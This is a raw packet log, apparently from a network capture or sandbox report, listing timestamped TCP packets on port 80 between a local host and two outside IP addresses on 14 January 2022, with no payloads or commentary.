Jan 14, 2022 02:05:14.684371948 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684376955 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684408903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684418917 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684448004 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684484959 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684520006 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684531927 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684557915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684562922 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684597015 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684634924 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684672117 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684689045 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684708118 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684720039 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684746981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684784889 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684820890 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684834003 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684869051 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684870958 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684907913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684945107 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684982061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684992075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.685020924 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685023069 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.685060024 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685100079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685131073 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.685134888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685173988 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685184002 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.685213089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.685255051 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694192886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694252014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694289923 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694328070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694338083 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694370031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694406986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694427013 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694446087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694469929 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694484949 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694525003 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694560051 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694565058 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694602966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694617033 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694642067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694679976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694689989 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694717884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694755077 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694762945 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694794893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694833994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694884062 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694884062 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694922924 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.694932938 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.694962978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.695003033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.695054054 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.718252897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.736332893 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736398935 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736437082 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736474991 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736484051 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.736516953 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736530066 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.736644983 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736685038 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736722946 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736732960 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.736763954 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736777067 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.736823082 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736861944 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736908913 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736924887 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.736946106 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736984015 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.736987114 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.737020969 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.737060070 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.737071991 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.737102032 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.737142086 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.737152100 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.737183094 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.737222910 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737232924 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.737261057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737302065 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737322092 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737340927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737350941 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737380981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737421989 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737457991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737468004 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737495899 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737507105 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737535954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737572908 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737611055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737622976 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737652063 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737663031 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737693071 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737734079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737771034 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737782001 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737811089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737816095 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.737874031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.737984896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738022089 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738040924 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738060951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738080978 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738099098 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738137007 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738176107 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738187075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738213062 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738223076 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738250971 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738289118 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738323927 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738337040 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738363028 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738367081 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738400936 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738440037 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738477945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738497972 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738514900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738531113 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738554001 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738590956 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738626957 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738631010 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738666058 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738672018 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738703966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738743067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738781929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738784075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738817930 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738820076 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738857031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738923073 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738950968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.738970041 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.738991976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739003897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739029884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739068031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739106894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739118099 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739144087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739147902 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739185095 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739223003 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739262104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739267111 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739301920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739303112 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739340067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739378929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739417076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739428997 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739454031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739464998 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739492893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739531040 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739569902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739581108 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739609957 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739620924 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739649057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739687920 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739725113 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739737034 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739763021 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.739774942 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.739804983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.740906954 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.746670961 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.746716976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.750696898 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.764158964 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770076036 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770136118 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770179033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770220041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770245075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770257950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770288944 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770315886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770356894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770395041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770411015 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770436049 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770447969 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770477057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770505905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770545006 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770555973 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770585060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770586967 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770626068 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770664930 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770701885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770713091 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770741940 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770746946 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770781994 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770823002 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770863056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770876884 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770903111 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770908117 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.770944118 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.770982027 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771019936 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771033049 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771059036 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771060944 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771099091 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771137953 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771177053 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771183968 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771220922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771224976 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771260023 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771298885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771336079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771347046 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771375895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771378040 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771414995 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771455050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771493912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771506071 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.771533012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.771543980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.791817904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.791897058 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.791944027 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.791982889 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.791981936 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792016029 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792023897 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792064905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792102098 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792124987 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792144060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792155027 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792185068 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792226076 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792268038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792279959 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792306900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792318106 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792347908 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792387962 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792426109 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792442083 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792468071 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792474031 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792509079 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792550087 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792589903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792601109 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792627096 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792639017 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792668104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792706013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792742014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792752981 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792783022 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792784929 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792821884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792861938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792902946 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792907953 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792939901 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.792948961 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.792980909 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793020964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793056965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793071032 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793097973 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793104887 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793137074 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793176889 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793215990 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793227911 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793255091 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793258905 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793294907 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793333054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793369055 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793384075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793409109 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793414116 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793447971 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793488026 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793528080 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793534994 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793567896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793574095 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793607950 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793647051 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793684006 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793695927 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793723106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793724060 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793761969 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793801069 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793840885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793865919 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793891907 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.793914080 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793953896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.793992043 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794049978 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794061899 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794087887 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794100046 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794128895 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794167042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794205904 CET	80	49874	93.189.42.167	192.168.2.3
